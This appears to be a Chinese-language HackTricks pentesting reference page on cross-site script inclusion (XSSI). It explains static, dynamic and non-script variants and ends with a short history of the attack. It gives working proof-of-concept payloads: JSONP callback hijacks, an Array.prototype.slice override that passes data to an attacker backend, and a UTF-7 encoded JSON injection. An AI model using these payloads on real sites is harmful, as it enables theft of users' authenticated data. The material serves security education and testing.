8.1 KiB
XSSI(跨站脚本包含)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
该信息来源于https://www.scip.ch/en/?labs.20160414
基本信息
XSSI指的是一种利用了以下事实的漏洞:当使用script
标签包含资源时,SOP(同源策略)不适用,因为脚本必须能够跨域进行包含。因此,攻击者可以通过使用script
标签读取所有被包含的内容。
当涉及到动态JavaScript或JSONP时,这一点尤其有趣,因为这些情况下使用了所谓的环境权限信息,如cookies用于身份验证。当从不同的主机请求资源时,这些cookies会被包含进来。
类型
- 静态JavaScript(常规XSSI)
- 只有在身份验证后才能访问的静态JavaScript
- 动态JavaScript
- 非JavaScript
常规XSSI
私人信息位于全局可访问的JS文件中,你可以通过读取文件、搜索关键字或使用正则表达式来检测到这一点。
要利用这个漏洞,只需在恶意内容中包含包含私人信息的脚本:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
动态基于JavaScript的XSSI和经过身份验证的JavaScript XSSI
当用户请求脚本时,会添加机密信息。通过发送请求带有和不带有cookies,可以轻松发现这一点,如果检索到不同的信息,则可能包含机密信息。要自动执行此操作,可以使用Burp扩展:https://github.com/luh2/DetectDynamicJS。
如果信息存在于全局变量中,您可以使用与前面情况相同的代码来利用它。
如果机密数据在JSONP响应中发送,您可以覆盖执行的函数以检索信息:
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
或者你也可以设置一个预先准备好的函数来执行JSONP响应:
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
如果一个变量不在全局命名空间中,有时仍然可以利用_prototype篡改_来进行利用。原型篡改滥用了JavaScript的设计,即在解释代码时,JavaScript会遍历原型链以找到调用的属性。以下示例摘自论文动态JavaScript的意外危险,演示了如何覆盖类型为Array
的相关函数并访问this
,从而泄漏非全局变量。
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
在原始代码中,类型为Array
的slice
访问了我们感兴趣的数据。正如前面的部分所描述的,攻击者可以覆盖slice
并窃取秘密信息。
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
安全研究员Sebastian Lekies最近更新了他的攻击向量列表。
非脚本XSSI
Takeshi Terada在他的论文基于标识符的XSSI攻击中描述了另一种类型的XSSI。他能够通过在script
标签中包含CSV文件作为源文件,并使用数据作为变量和函数名来泄露跨源的非脚本文件。
第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章使用GMail的高级Web攻击技术描述了一种XSSI攻击,通过覆盖Array
构造函数,能够读取Google账户的完整通讯录。
2007年,Joe Walker发表了JSON并不像人们想象的那样安全。他使用了相同的思路来窃取嵌入在Array
中的JSON数据。
其他相关攻击是通过将UTF-7编码的内容注入到JSON中来逃避JSON格式。这在Gareth Heyes的博客文章JSON劫持中有描述,他是Hackvertor的作者。在快速测试中,这在Microsoft Internet Explorer和Edge中仍然可行,但在Mozilla Firefox和Google Chrome中不可行。
带有UTF-7的JSON:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
将JSON包含在攻击者的页面中
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组,或者关注我在推特上的🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。